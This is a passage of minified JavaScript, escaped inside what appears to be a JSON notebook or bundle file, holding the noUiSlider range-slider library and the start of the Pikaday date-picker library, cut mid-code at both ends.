n=0;n<t.handles;n++)t.tooltips.push(!0)}else{if(t.tooltips=tt(e),t.tooltips.length!==t.handles)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): must pass a formatter for all handles.\\\");t.tooltips.forEach(function(t){if(\\\"boolean\\\"!=typeof t&&(\\\"object\\\"!=typeof t||\\\"function\\\"!=typeof t.to))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'tooltips' must be passed a formatter or 'false'.\\\")})}}function M(t,e){u(t.ariaFormat=e)}function A(t,e){u(t.format=e)}function N(t,e){if(void 0!==e&&\\\"string\\\"!=typeof e&&!1!==e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'cssPrefix' must be a string or `false`.\\\");t.cssPrefix=e}function V(t,e){if(void 0!==e&&\\\"object\\\"!=typeof e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'cssClasses' must be an object.\\\");if(\\\"string\\\"==typeof t.cssPrefix)for(var n in t.cssClasses={},e)e.hasOwnProperty(n)&&(t.cssClasses[n]=t.cssPrefix+e[n]);else t.cssClasses=e}function I(t,e){if(!0!==e&&!1!==e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'useRequestAnimationFrame' option should be true (default) or false.\\\");t.useRequestAnimationFrame=e}function rt(e){var n={margin:0,limit:0,padding:0,animate:!0,animationDuration:300,ariaFormat:l,format:l},i={step:{r:!1,t:p},start:{r:!0,t:m},connect:{r:!0,t:b},direction:{r:!0,t:S},snap:{r:!1,t:v},animate:{r:!1,t:g},animationDuration:{r:!1,t:y},range:{r:!0,t:f},orientation:{r:!1,t:_},margin:{r:!1,t:w},limit:{r:!1,t:x},padding:{r:!1,t:k},behaviour:{r:!0,t:C},multitouch:{r:!0,t:E},ariaFormat:{r:!1,t:M},format:{r:!1,t:A},tooltips:{r:!1,t:D},cssPrefix:{r:!1,t:N},cssClasses:{r:!1,t:V},useRequestAnimationFrame:{r:!1,t:I}},r={connect:!1,direction:\\\"ltr\\\",behaviour:\\\"tap\\\",multitouch:!1,orientation:\\\"horizontal\\\",cssPrefix:\\\"noUi-\\\",cssClasses:{target:\\\"target\\\",base:\\\"base\\\",origin:\\\"origin\\\",handle:\\\"handle\\\",handleLower:\\\"handle-lower\\\",handleUpper:\\\"handle-upper\\\",horizontal:\\\"horizontal\\\",vertical:\\\"vertical\\\",background:\\\"background\\\",connect:\\\"connect\\\",ltr:\\\"ltr\\\",rtl:\\\"rtl\\\",draggable:\\\"draggable\\\",drag:\\\"state-drag\\\",tap:\\\"state-tap\\\",active:\\\"active\\\",tooltip:\\\"tooltip\\\",pips:\\\"pips\\\",pipsHorizontal:\\\"pips-horizontal\\\",pipsVertical:\\\"pips-vertical\\\",marker:\\\"marker\\\",markerHorizontal:\\\"marker-horizontal\\\",markerVertical:\\\"marker-vertical\\\",markerNormal:\\\"marker-normal\\\",markerLarge:\\\"marker-large\\\",markerSub:\\\"marker-sub\\\",value:\\\"value\\\",valueHorizontal:\\\"value-horizontal\\\",valueVertical:\\\"value-vertical\\\",valueNormal:\\\"value-normal\\\",valueLarge:\\\"value-large\\\",valueSub:\\\"value-sub\\\"},useRequestAnimationFrame:!0};e.format&&!e.ariaFormat&&(e.ariaFormat=e.format),Object.keys(i).forEach(function(t){if(void 0===e[t]&&void 0===r[t]){if(i[t].r)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): '\\\"+t+\\\"' is required.\\\");return!0}i[t].t(n,void 0===e[t]?r[t]:e[t])}),n.pips=e.pips;var t=[[\\\"left\\\",\\\"top\\\"],[\\\"right\\\",\\\"bottom\\\"]];return n.style=t[n.dir][n.ort],n.styleOposite=t[n.dir?0:1][n.ort],n}function P(t,d,o){var u,l,s,a,h,r,c,e,p=window.navigator.pointerEnabled?{start:\\\"pointerdown\\\",move:\\\"pointermove\\\",end:\\\"pointerup\\\"}:window.navigator.msPointerEnabled?{start:\\\"MSPointerDown\\\",move:\\\"MSPointerMove\\\",end:\\\"MSPointerUp\\\"}:{start:\\\"mousedown touchstart\\\",move:\\\"mousemove touchmove\\\",end:\\\"mouseup touchend\\\"},n=window.CSS&&CSS.supports&&CSS.supports(\\\"touch-action\\\",\\\"none\\\"),f=n&&function(){var t=!1;try{var e=Object.defineProperty({},\\\"passive\\\",{get:function(){t=!0}});window.addEventListener(\\\"test\\\",null,e)}catch(t){}return t}(),_=t,m=[],v=[],g=0,w=d.spectrum,y=[],b={},x=t.ownerDocument,k=x.documentElement,S=x.body;function C(t,e){var n=x.createElement(\\\"div\\\");return e&&et(n,e),t.appendChild(n),n}function i(t,e){var n=C(t,d.cssClasses.origin),i=C(n,d.cssClasses.handle);return i.setAttribute(\\\"data-handle\\\",e),i.setAttribute(\\\"tabindex\\\",\\\"0\\\"),i.setAttribute(\\\"role\\\",\\\"slider\\\"),i.setAttribute(\\\"aria-orientation\\\",d.ort?\\\"vertical\\\":\\\"horizontal\\\"),0===e?et(i,d.cssClasses.handleLower):e===d.handles-1&&et(i,d.cssClasses.handleUpper),n}function E(t,e){return!!e&&C(t,d.cssClasses.connect)}function D(t,e){return!!d.tooltips[e]&&C(t.firstChild,d.cssClasses.tooltip)}function M(e,i,r){var o=x.createElement(\\\"div\\\"),s=[d.cssClasses.valueNormal,d.cssClasses.valueLarge,d.cssClasses.valueSub],a=[d.cssClasses.markerNormal,d.cssClasses.markerLarge,d.cssClasses.markerSub],l=[d.cssClasses.valueHorizontal,d.cssClasses.valueVertical],u=[d.cssClasses.markerHorizontal,d.cssClasses.markerVertical];function c(t,e){var n=e===d.cssClasses.value,i=n?l:u,r=n?s:a;return e+\\\" \\\"+i[d.ort]+\\\" \\\"+r[t]}return et(o,d.cssClasses.pips),et(o,0===d.ort?d.cssClasses.pipsHorizontal:d.cssClasses.pipsVertical),Object.keys(e).forEach(function(t){!function(t,e){e[1]=e[1]&&i?i(e[0],e[1]):e[1];var n=C(o,!1);n.className=c(e[1],d.cssClasses.marker),n.style[d.style]=t+\\\"%\\\",e[1]&&((n=C(o,!1)).className=c(e[1],d.cssClasses.value),n.style[d.style]=t+\\\"%\\\",n.innerText=r.to(e[0]))}(t,e[t])}),o}function A(){var t;h&&((t=h).parentElement.removeChild(t),h=null)}function N(t){A();var p,f,m,e,v,n,i,g,y,b,r=t.mode,o=t.density||1,s=t.filter||!1,a=t.values||!1,l=t.stepped||!1,u=function(t,e,n){if(\\\"range\\\"===t||\\\"steps\\\"===t)return w.xVal;if(\\\"count\\\"===t){if(!e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'values' required for mode 'count'.\\\");var i,r=100/(e-1),o=0;for(e=[];(i=o++*r)<=100;)e.push(i);t=\\\"positions\\\"}return\\\"positions\\\"===t?e.map(function(t){return w.fromStepping(n?w.getStep(t):t)}):\\\"values\\\"===t?n?e.map(function(t){return w.fromStepping(w.getStep(w.toStepping(t)))}):e:void 0}(r,a,l),c=(p=o,f=r,m=u,v={},n=w.xVal[0],i=w.xVal[w.xVal.length-1],y=g=!1,b=0,(e=m.slice().sort(function(t,e){return t-e}),m=e.filter(function(t){return!this[t]&&(this[t]=!0)},{}))[0]!==n&&(m.unshift(n),g=!0),m[m.length-1]!==i&&(m.push(i),y=!0),m.forEach(function(t,e){var n,i,r,o,s,a,l,u,c,d=t,h=m[e+1];if(\\\"steps\\\"===f&&(n=w.xNumSteps[e]),n||(n=h-d),!1!==d&&void 0!==h)for(n=Math.max(n,1e-7),i=d;i<=h;i=(i+n).toFixed(7)/1){for(l=(s=(o=w.toStepping(i))-b)/p,c=s/(u=Math.round(l)),r=1;r<=u;r+=1)v[(b+r*c).toFixed(5)]=[\\\"x\\\",0];a=-1<m.indexOf(i)?1:\\\"steps\\\"===f?2:0,!e&&g&&(a=0),i===h&&y||(v[o.toFixed(5)]=[i,a]),b=o}}),v),d=t.format||{to:Math.round};return h=_.appendChild(M(c,s,d))}function V(){var t=u.getBoundingClientRect(),e=\\\"offset\\\"+[\\\"Width\\\",\\\"Height\\\"][d.ort];return 0===d.ort?t.width||u[e]:t.height||u[e]}function I(i,r,o,s){var e=function(t){return!_.hasAttribute(\\\"disabled\\\")&&(e=_,n=d.cssClasses.tap,(e.classList?!e.classList.contains(n):!new RegExp(\\\"\\\\\\\\b\\\"+n+\\\"\\\\\\\\b\\\").test(e.className))&&!!(t=function(t,e,n){var i,r,o=0===t.type.indexOf(\\\"touch\\\"),s=0===t.type.indexOf(\\\"mouse\\\"),a=0===t.type.indexOf(\\\"pointer\\\");if(0===t.type.indexOf(\\\"MSPointer\\\")&&(a=!0),o&&d.multitouch){var l=function(t){return t.target===n||n.contains(t.target)};if(\\\"touchstart\\\"===t.type){var u=Array.prototype.filter.call(t.touches,l);if(1<u.length)return!1;i=u[0].pageX,r=u[0].pageY}else{var c=Array.prototype.find.call(t.changedTouches,l);if(!c)return!1;i=c.pageX,r=c.pageY}}else if(o){if(1<t.touches.length)return!1;i=t.changedTouches[0].pageX,r=t.changedTouches[0].pageY}return e=e||it(x),(s||a)&&(i=t.clientX+e.x,r=t.clientY+e.y),t.pageOffset=e,t.points=[i,r],t.cursor=s||a,t}(t,s.pageOffset,s.target||r))&&!(i===p.start&&void 0!==t.buttons&&1<t.buttons)&&(!s.hover||!t.buttons)&&(f||t.preventDefault(),t.calcPoint=t.points[d.ort],void o(t,s)));var e,n},n=[];return i.split(\\\" \\\").forEach(function(t){r.addEventListener(t,e,!!f&&{passive:!0}),n.push([t,e])}),n}function P(t){var e,n,i,r,o,s,a=t-(e=u,n=d.ort,i=e.getBoundingClientRect(),r=e.ownerDocument,o=r.documentElement,s=it(r),/webkit.*Chrome.*Mobile/i.test(navigator.userAgent)&&(s.x=0),n?i.top+s.y-o.clientTop:i.left+s.x-o.clientLeft),l=100*a/V();return d.dir?100-l:l}function R(t,i,n,e){var r=n.slice(),o=[!t,t],s=[t,!t];e=e.slice(),t&&e.reverse(),1<e.length?e.forEach(function(t,e){var n=z(r,t,r[t]+i,o[e],s[e],!1);!1===n?i=0:(i=n-r[t],r[t]=n)}):o=s=[!0];var a=!1;e.forEach(function(t,e){a=H(t,n[t]+i,o[e],s[e])||a}),a&&e.forEach(function(t){L(\\\"update\\\",t),L(\\\"slide\\\",t)})}function L(n,i,r){Object.keys(b).forEach(function(t){var e=t.split(\\\".\\\")[0];n===e&&b[t].forEach(function(t){t.call(a,y.map(d.format.to),i,y.slice(),r||!1,m.slice())})})}function T(t,e){\\\"mouseout\\\"===t.type&&\\\"HTML\\\"===t.target.nodeName&&null===t.relatedTarget&&W(t,e)}function O(t,e){if(-1===navigator.appVersion.indexOf(\\\"MSIE 9\\\")&&0===t.buttons&&0!==e.buttonsProperty)return W(t,e);var n=(d.dir?-1:1)*(t.calcPoint-e.startCalcPoint),i=100*n/e.baseSize;R(0<n,i,e.locations,e.handleNumbers)}function W(t,e){e.handle&&(nt(e.handle,d.cssClasses.active),g-=1),e.listeners.forEach(function(t){k.removeEventListener(t[0],t[1])}),0===g&&(nt(_,d.cssClasses.drag),Y(),t.cursor&&(S.style.cursor=\\\"\\\",S.removeEventListener(\\\"selectstart\\\",Q))),e.handleNumbers.forEach(function(t){L(\\\"change\\\",t),L(\\\"set\\\",t),L(\\\"end\\\",t)})}function B(t,e){var n;if(1===e.handleNumbers.length){var i=l[e.handleNumbers[0]];if(i.hasAttribute(\\\"disabled\\\"))return!1;n=i.children[0],g+=1,et(n,d.cssClasses.active)}t.stopPropagation();var r=[],o=I(p.move,k,O,{target:t.target,handle:n,listeners:r,startCalcPoint:t.calcPoint,baseSize:V(),pageOffset:t.pageOffset,handleNumbers:e.handleNumbers,buttonsProperty:t.buttons,locations:m.slice()}),s=I(p.end,k,W,{target:t.target,handle:n,listeners:r,handleNumbers:e.handleNumbers}),a=I(\\\"mouseout\\\",k,T,{target:t.target,handle:n,listeners:r,handleNumbers:e.handleNumbers});r.push.apply(r,o.concat(s,a)),t.cursor&&(S.style.cursor=getComputedStyle(t.target).cursor,1<l.length&&et(_,d.cssClasses.drag),S.addEventListener(\\\"selectstart\\\",Q,!1)),e.handleNumbers.forEach(function(t){L(\\\"start\\\",t)})}function U(t){t.stopPropagation();var i,r,o,e=P(t.calcPoint),n=(i=e,o=!(r=100),l.forEach(function(t,e){if(!t.hasAttribute(\\\"disabled\\\")){var n=Math.abs(m[e]-i);n<r&&(o=e,r=n)}}),o);if(!1===n)return!1;d.events.snap||Z(_,d.cssClasses.tap,d.animationDuration),H(n,e,!0,!0),Y(),L(\\\"slide\\\",n,!0),L(\\\"update\\\",n,!0),L(\\\"change\\\",n,!0),L(\\\"set\\\",n,!0),d.events.snap&&B(t,{handleNumbers:[n]})}function j(t){var e=P(t.calcPoint),n=w.getStep(e),i=w.fromStepping(n);Object.keys(b).forEach(function(t){\\\"hover\\\"===t.split(\\\".\\\")[0]&&b[t].forEach(function(t){t.call(a,i)})})}function z(t,e,n,i,r,o){var s;return 1<l.length&&(i&&0<e&&(n=Math.max(n,t[e-1]+d.margin)),r&&e<l.length-1&&(n=Math.min(n,t[e+1]-d.margin))),1<l.length&&d.limit&&(i&&0<e&&(n=Math.min(n,t[e-1]+d.limit)),r&&e<l.length-1&&(n=Math.max(n,t[e+1]-d.limit))),d.padding&&(0===e&&(n=Math.max(n,d.padding)),e===l.length-1&&(n=Math.min(n,100-d.padding))),n=w.getStep(n),s=n,!((n=Math.max(Math.min(s,100),0))===t[e]&&!o)&&n}function F(t){return t+\\\"%\\\"}function Y(){v.forEach(function(t){var e=50<m[t]?-1:1,n=3+(l.length+e*t);l[t].childNodes[0].style.zIndex=n})}function H(t,e,n,i){return!1!==(e=z(m,t,e,n,i,!1))&&(function(t,e){m[t]=e,y[t]=w.fromStepping(e);var n=function(){l[t].style[d.style]=F(e),q(t),q(t+1)};window.requestAnimationFrame&&d.useRequestAnimationFrame?window.requestAnimationFrame(n):n()}(t,e),!0)}function q(t){if(s[t]){var e=0,n=100;0!==t&&(e=m[t-1]),t!==s.length-1&&(n=m[t]),s[t].style[d.style]=F(e),s[t].style[d.styleOposite]=F(100-n)}}function G(t,e){null!==t&&!1!==t&&(\\\"number\\\"==typeof t&&(t=String(t)),!1===(t=d.format.from(t))||isNaN(t)||H(e,w.toStepping(t),!1,!1))}function X(t,e){var n=tt(t),i=void 0===m[0];e=void 0===e||!!e,n.forEach(G),d.animate&&!i&&Z(_,d.cssClasses.tap,d.animationDuration),v.forEach(function(t){H(t,m[t],!0,!1)}),Y(),v.forEach(function(t){L(\\\"update\\\",t),null!==n[t]&&e&&L(\\\"set\\\",t)})}function K(){var t=y.map(d.format.to);return 1===t.length?t[0]:t}function J(t,e){b[t]=b[t]||[],b[t].push(e),\\\"update\\\"===t.split(\\\".\\\")[0]&&l.forEach(function(t,e){L(\\\"update\\\",e)})}if(_.noUiSlider)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Slider was already initialized.\\\");return et(e=_,d.cssClasses.target),0===d.dir?et(e,d.cssClasses.ltr):et(e,d.cssClasses.rtl),0===d.ort?et(e,d.cssClasses.horizontal):et(e,d.cssClasses.vertical),u=C(e,d.cssClasses.base),function(t,e){l=[],(s=[]).push(E(e,t[0]));for(var n=0;n<d.handles;n++)l.push(i(e,n)),v[n]=n,s.push(E(e,t[n+1]))}(d.connect,u),a={destroy:function(){for(var t in d.cssClasses)d.cssClasses.hasOwnProperty(t)&&nt(_,d.cssClasses[t]);for(;_.firstChild;)_.removeChild(_.firstChild);delete _.noUiSlider},steps:function(){return m.map(function(t,e){var n=w.getNearbySteps(t),i=y[e],r=n.thisStep.step,o=null;!1!==r&&i+r>n.stepAfter.startValue&&(r=n.stepAfter.startValue-i),o=i>n.thisStep.startValue?n.thisStep.step:!1!==n.stepBefore.step&&i-n.stepBefore.highestStep,100===t?r=null:0===t&&(o=null);var s=w.countStepDecimals();return null!==r&&!1!==r&&(r=Number(r.toFixed(s))),null!==o&&!1!==o&&(o=Number(o.toFixed(s))),[o,r]})},on:J,off:function(t){var i=t&&t.split(\\\".\\\")[0],r=i&&t.substring(i.length);Object.keys(b).forEach(function(t){var e=t.split(\\\".\\\")[0],n=t.substring(e.length);i&&i!==e||r&&r!==n||delete b[t]})},get:K,set:X,reset:function(t){X(d.start,t)},__moveHandles:function(t,e,n){R(t,e,m,n)},options:o,updateOptions:function(e,t){var n=K(),i=[\\\"margin\\\",\\\"limit\\\",\\\"padding\\\",\\\"range\\\",\\\"animate\\\",\\\"snap\\\",\\\"step\\\",\\\"format\\\"];i.forEach(function(t){void 0!==e[t]&&(o[t]=e[t])});var r=rt(o);i.forEach(function(t){void 0!==e[t]&&(d[t]=r[t])}),w=r.spectrum,d.margin=r.margin,d.limit=r.limit,d.padding=r.padding,d.pips&&N(d.pips),m=[],X(e.start||n,t)},target:_,removePips:A,pips:N},(c=d.events).fixed||l.forEach(function(t,e){I(p.start,t.children[0],B,{handleNumbers:[e]})}),c.tap&&I(p.start,u,U,{}),c.hover&&I(p.move,u,j,{hover:!0}),c.drag&&s.forEach(function(t,e){if(!1!==t&&0!==e&&e!==s.length-1){var n=l[e-1],i=l[e],r=[t];et(t,d.cssClasses.draggable),c.fixed&&(r.push(n.children[0]),r.push(i.children[0])),r.forEach(function(t){I(p.start,t,B,{handles:[n,i],handleNumbers:[e-1,e]})})}}),X(d.start),d.pips&&N(d.pips),d.tooltips&&(r=l.map(D),J(\\\"update\\\",function(t,e,n){if(r[e]){var i=t[e];!0!==d.tooltips[e]&&(i=d.tooltips[e].to(n[e])),r[e].innerHTML=i}})),J(\\\"update\\\",function(t,e,s,n,a){v.forEach(function(t){var e=l[t],n=z(m,t,0,!0,!0,!0),i=z(m,t,100,!0,!0,!0),r=a[t],o=d.ariaFormat.to(s[t]);e.children[0].setAttribute(\\\"aria-valuemin\\\",n.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuemax\\\",i.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuenow\\\",r.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuetext\\\",o)})}),a}return{version:$,create:function(t,e){if(!t||!t.nodeName)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): create requires a single element, got: \\\"+t);var n=rt(e),i=P(t,n,e);return t.noUiSlider=i}}},\\\"object\\\"==typeof n?e.exports=i():window.noUiSlider=i()},432:function(i,r,o){\\n\",\n       \"      /*!\\n\",\n       \"           * Pikaday\\n\",\n       \"           *\\n\",\n       \"           * Copyright Â© 2014 David Bushell | BSD & MIT license | https://github.com/dbushell/Pikaday\\n\",\n       \"           */\\n\",\n       \"      !function(t,e){\\\"use strict\\\";var n;if(\\\"object\\\"==typeof o){try{n=i(\\\"moment\\\")}catch(t){}r.exports=e(n)}else t.Pikaday=e(t.moment)}(this,function(n){\\\"use strict\\\";var o=\\\"function\\\"==typeof n,s=!!window.addEventListener,c=window.document,u=window.setTimeout,a=function(t,e,n,i){s?t.addEventListener(e,n,!!i):t.attachEvent(\\\"on\\\"+e,n)},i=function(t,e,n,i){s?t.removeEventListener(e,n,!!i):t.detachEvent(\\\"on\\\"+e,n)},l=function(t,e){return-1!==(\\\" \\\"+t.className+\\\" \\\").indexOf(\\\" \\\"+e+\\\" \\\")},g=function(t){return/Array/.test(Object.prototype.toString.call(t))},B=function(t){return/Date/.test(Object.prototype.toString.call(t))&&!isNaN(t.getTime())},U=function(t,e){return[31,(n=t,n%4==0&&n%100!=0||n%400==0?29:28),31,30,31,30,31,31,30,31,30,31][e];var n},j=function(t){B(t)&&t.setHours(0,0,0,0)},z=function(t,e){return t.getTime()===e.getTime()},d=function(t,e,n){var i,r;for(i in e)(r=void 0!==t[i])&&\\\"object\\\"==typeof e[i]&&null!==e[i]&&void 0===e[i].nodeName?B(e[i])?n&&(t[i]=new Date(e[i].getTime())):g(e[i])?n&&(t[i]=e[i].slice(0)):t[i]=d({},e[i],n):!n&&r||(t[i]=e[i]);return t},r=function(t,e,n){var i;c.createEvent?((i=c.createEvent(\\\"HTMLEvents\\\")).initEvent(e,!0,!1),i=d(i,n),t.dispatchEvent(i)):c.createEventObject&&(i=c.createEventObject(),i=d(i,n),t.fireEvent(\\\"on\\\"+e,i))},e=function(t){return t.month<0&&(t.year-=Math.ceil(Math.abs(t.month)/12),t.month+=12),11<t.month&&(t.year+=Math.floor(Math.abs(t.month)/12),t.month-=12),t},h={field:null,bound:void 0,position:\\\"bottom left\\\",reposition:!0,format:\\\"YYYY-MM-DD\\\",toString:null,parse:null,defaultDate:null,setDefaultDate:!1,firstDay:0,formatStrict:!1,minDate:null,maxDate:null,yearRange:10,showWeekNumber:!1,pickWholeWeek:!1,minYear:0,maxYear:9999,minMonth:void 0,maxMonth:void 0,startRange:null,endRange:null,isRTL:!1,yearSuffix:\\\"\\\",showMonthAfterYear:!1,showDaysInNextAndPreviousMonths:!1,enableSelectionDaysInNextAndPreviousMonths:!1,numberOfMonths:1,mainCalendar:\\\"left\\\",container:void 0,blurFieldOnSelect:!0,i18n:{previousMonth:\\\"Previous Month\\\",nextMonth:\\\"Next Month\\\",months:[\\\"January\\\",\\\"February\\\",\\\"March\\\",\\\"April\\\",\\\"May\\\",\\\"June\\\",\\\"July\\\",\\\"August\\\",\\\"September\\\",\\\"October\\\",\\\"November\\\",\\\"December\\\"],weekdays:[\\\"Sunday\\\",\\\"Monday\\\",\\\"Tuesday\\\",\\\"Wednesday\\\",\\\"Thursday\\\",\\\"Friday\\\",\\\"Saturday\\\"],weekdaysShort:[\\\"Sun\\\",\\\"Mon\\\",\\\"Tue\\\",\\\"Wed\\\",\\\"Thu\\\",\\\"Fri\\\",\\\"Sat\\\"]},theme:null,events:[],onSelect:null,onOpen:null,onClose:null,onDraw:null,keyboardInput:!0},p=function(t,e,n){for(e+=t.firstDay;7<=e;)e-=7;return n?t.i18n.weekdaysShort[e]:t.i18n.weekdays[e]},F=function(t){var e=[],n=\\\"false\\\";if(t.isEmpty){if(!t.showDaysInNextAndPreviousMonths)return'<td class=\\\"is-empty\\\"></td>';e.push(\\\"is-outside-current-month\\\"),t.enableSelectionDaysInNextAndPreviousMonths||e.push(\\\"is-selection-disabled\\\")}return t.isDisabled&&e.push(\\\"is-disabled\\\"),t.isToday&&e.push(\\\"is-today\\\"),t.isSelected&&(e.push(\\\"is-selected\\\"),n=\\\"true\\\"),t.hasEvent&&e.push(\\\"has-event\\\"),t.isInRange&&e.push(\\\"is-inrange\\\"),t.isStartRange&&e.push(\\\"is-startrange\\\"),t.isEndRange&&e.push(\\\"is-endrange\\\"),'<td data-day=\\\"'+t.day+'\\\" class=\\\"'+e.join(\\\" \\\")+'\\\" aria-selected=\\\"'+n+'\\\"><button class=\\\"pika-button pika-day\\\" type=\\\"button\\\" data-pika-year=\\\"'+t.year+'\\\" data-pika-month=\\\"'+t.month+'\\\" data-pika-day=\\\"'+t.day+'\\\">'+t.day+\\\"</button></td>\\\"},f=function(t,e,n,i,r,o){var s,a,l,u,c,d=t._o,h=n===d.minYear,p=n===d.maxYear,f='<div id=\\\"'+o+'\\\" class=\\\"pika-title\\\" role=\\\"heading\\\" aria-live=\\\"assertive\\\">',m=!0,v=!0;for(l=[],s=0;s<12;s++)l.push('<option value=\\\"'+(n===r?s-e:12+s-e)+'\\\"'+(s===i?' selected=\\\"selected\\\"':\\\"\\\")+(h&&s<d.minMonth||p&&s>d.maxMonth?'disabled=\\\"disabled\\\"':\\\"\\\")+\\\">\\\"+d.i18n.months[s]+\\\"</option>\\\");for(u='<div class=\\\"pika-label\\\">'+d.i18n.months[i]+'<select class=\\\"pika-select pika-select-month\\\" tabindex=\\\"-1\\\">'+l.join(\\\"\\\")+\\\"</select></div>\\\",g(d.yearRange)?(s=d.yearRange[0],a=d.yearRange[1]+1):(s=n-d.yearRange,a=1+n+d.yearRange),l=[];s<a&&s<=d.maxYear;s++)s>=d.minYear&&l.push('<option value=\\\"'+s+'\\\"'+(s===n?' selected=\\\"selected\\\"':\\\"\\\")+\\\">\\\"+s+\\\"</option>\\\");return c='<div class=\\\"pika-label\\\">'+n+d.yearSuffix+'<select class=\\\"pika-select pika-select-year\\\" tabindex=\\\"-1\\\">'+l.join(\\\"\\\")+\\\"</select></div>\\\",d.showMonthAfterYear?f+=c+u:f+=u+c,h&&(0===i||d.minMonth>=i)&&(m=!1),p&&(11===i||d.maxMonth<=i)&&(v=!1),0===e&&(f+='<button class=\\\"pika-prev'+(m?\\\"\\\":\\\" is-disabled\\\")+'\\\" type=\\\"button\\\">'+d.i18n.previousMonth+\\\"</button>\\\"),e===t._o.numberOfMonths-1&&(f+='<button class=\\\"pika-next'+(v?\\\"\\\":\\\" is-disabled\\\")+'\\\" type=\\\"button\\\">'+d.i18n.nextMonth+\\\"</button>\\\"),f+=\\\"</div>\\\"},Y=function(t,e,n){return'<table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" class=\\\"pika-table\\\" role=\\\"grid\\\" aria-labelledby=\\\"'+n+'\\\">'+function(t){var e,n=[];for(t.showWeekNumber&&n.push(\\\"<th></th>\\\"),e=0;e<7;e++)n.push('<th scope=\\\"col\\\"><abbr title=\\\"'+p(t,e)+'\\\">'+p(t,e,!0)+\\\"</abbr></th>\\\");return\\\"<thead><tr>\\\"+(t.isRTL?n.reverse():n).join(\\\"\\\")+\\\"</tr></thead>\\\"}(t)+\\\"<tbody>\\\"+e.join(\\\"\\\")+\\\"</tbody></table>\\\"},t=function(t){var i=this,r=i.config(t);i._onMouseDown=function(t){if(i._v){var e=(t=t||window.event).target||t.srcElement;if(e)if(l(e,\\\"is-disabled\\\")||(!l(e,\\\"pika-button\\\")||l(e,\\\"is-empty\\\")||l(e.parentNode,\\\"is-disabled\\\")?l(e,\\\"pika-prev\\\")?i.prevMonth():l(e,\\\"pika-next\\\")&&i.nextMonth():(i.setDate(new Date(e.getAttribute(\\\"data-pika-year\\\"),e.getAttribute(\\\"data-pika-month\\\"),e.getAttribute(\\\"data-pika-day\\\"))),r.bound&&u(function(){i.hide(),r.blurFieldOnSelect&&r.field&&r.field.blur()},100))),l(e,\\\"pika-select\\\"))i._c=!0;else{if(!t.preventDefault)return t.returnValue=!1;t.preventDefault()}}},i._onChange=function(t){var e=(t=t||window.event).target||t.srcElement;e&&(l(e,\\\"pika-select-month\\\")?i.gotoMonth(e.value):l(e,\\\"pika-select-year\\\")&&i.gotoYear(e.value))},i._onKeyChange=function(t){if(t=t||window.event,i.isVisible())switch(t.keyCode){case 13:case 27:r.field&&r.field.blur();break;case 37:t.preventDefault(),i.adjustDate(\\\"subtract\\\",1);break;case 38:i.adjustDate(\\\"subtract\\\",7);break;case 39:i.adjustDate(\\\"add\\\",1);break;case 40:i.adjustDate(\\\"add\\\",7)}},i._onInputChange=function(t){var e;t.firedBy!==i&&(e=r.parse?r.parse(r.field.value,r.format):o?(e=n(r.field.value,r.format,r.formatStrict))&&e.isValid()?e.toDate():null:new Date(Date.parse(r.field.value)),B(e)&&i.setDate(e),i._v||i.show())},i._onInputFocus=function(){i.show()},i._onInputClick=function(){i.show()},i._onInputBlur=function(){var t=c.activeElement;do{if(l(t,\\\"pika-single\\\"))return}while(t=t.parentNode);i._c||(i._b=u(function(){i.hide()},50)),i._c=!1},i._onClick=function(t){var e=(t=t||window.event).target||t.srcElement,n=e;if(e){!s&&l(e,\\\"pika-select\\\")&&(e.onchange||(e.setAttribute(\\\"onchange\\\",\\\"return;\\\"),a(e,\\\"change\\\",i._onChange)));do{if(l(n,\\\"pika-single\\\")||n===r.trigger)return}while(n=n.parentNode);i._v&&e!==r.trigger&&n!==r.trigger&&i.hide()}},i.el=c.createElement(\\\"div\\\"),i.el.className=\\\"pika-single\\\"+(r.isRTL?\\\" is-rtl\\\":\\\"\\\")+(r.theme?\\\" \\\"+r.theme:\\\"\\\"),a(i.el,\\\"mousedown\\\",i._onMouseDown,!0),a(i.el,\\\"touchend\\\",i._onMouseDown,!0),a(i.el,\\\"change\\\",i._onChange),r.keyboardInput&&a(c,\\\"keydown\\\",i._onKeyChange),r.field&&(r.container?r.container.appendChild(i.el):r.bound?c.body.appendChild(i.el):r.field.parentNode.insertBefore(i.el,r.field.nextSibling),a(r.field,\\\"change\\\",i._onInputChange),r.defaultDate||(o&&r.field.value?r.defaultDate=n(r.field.value,r.format).toDate():r.defaultDate=new Date(Date.parse(r.field.value)),r.setDefaultDate=!0));var e=r.defaultDate;B(e)?r.setDefaultDate?i.setDate(e,!0):i.gotoDate(e):i.gotoDate(new Date),r.bound?(this.hide(),i.el.className+=\\\" is-bound\\\",a(r.trigger,\\\"click\\\",i._onInputClick),a(r.trigger,\\\"focus\\\",i._onInputFocus),a(r.trigger,\\\"blur\\\",i._onInputBlur)):this.show()};return t.prototype={config:function(t){this._o||(this._o=d({},h,!0));var e=d(this._o,t,!0);e.isRTL=!!e.isRTL,e.field=e.field&&e.field.nodeName?e.field:null,e.theme=\\\"string\\\"==typeof e.theme&&e.theme?e.theme:null,e.bound=!!(void 0!==e.bound?e.field&&e.bound:e.field),e.trigger=e.trigger&&e.trigger.nodeName?e.trigger:e.field,e.disableWeekends=!!e.disableWeekends,e.disableDayFn=\\\"function\\\"==typeof e.disableDayFn?e.disableDayFn:null;var n=parseInt(e.numberOfMonths,10)||1;if(e.numberOfMonths=4<n?4:n,B(e.minDate)||(e.minDate=!1),B(e.maxDate)||(e.maxDate=!1),e.minDate&&e.maxDate&&e.maxDate<e.minDate&&(e.maxDate=e.minDate=!1),e.minDate&&this.setMinDate(e.minDate),e.maxDate&&this.setMaxDate(e.maxDate),g(e.yearRange)){var i=(new Date).getFullYear()-10;e.yearRange[0]=parseInt(e.yearRange[0],10)||i,e.yearRange[1]=parseInt(e.yearRange[1],10)||i}else e.yearRange=Math.abs(parseInt(e.yearRange,10))||h.yearRange,100<e.yearRange&&(e.yearRange=100);return 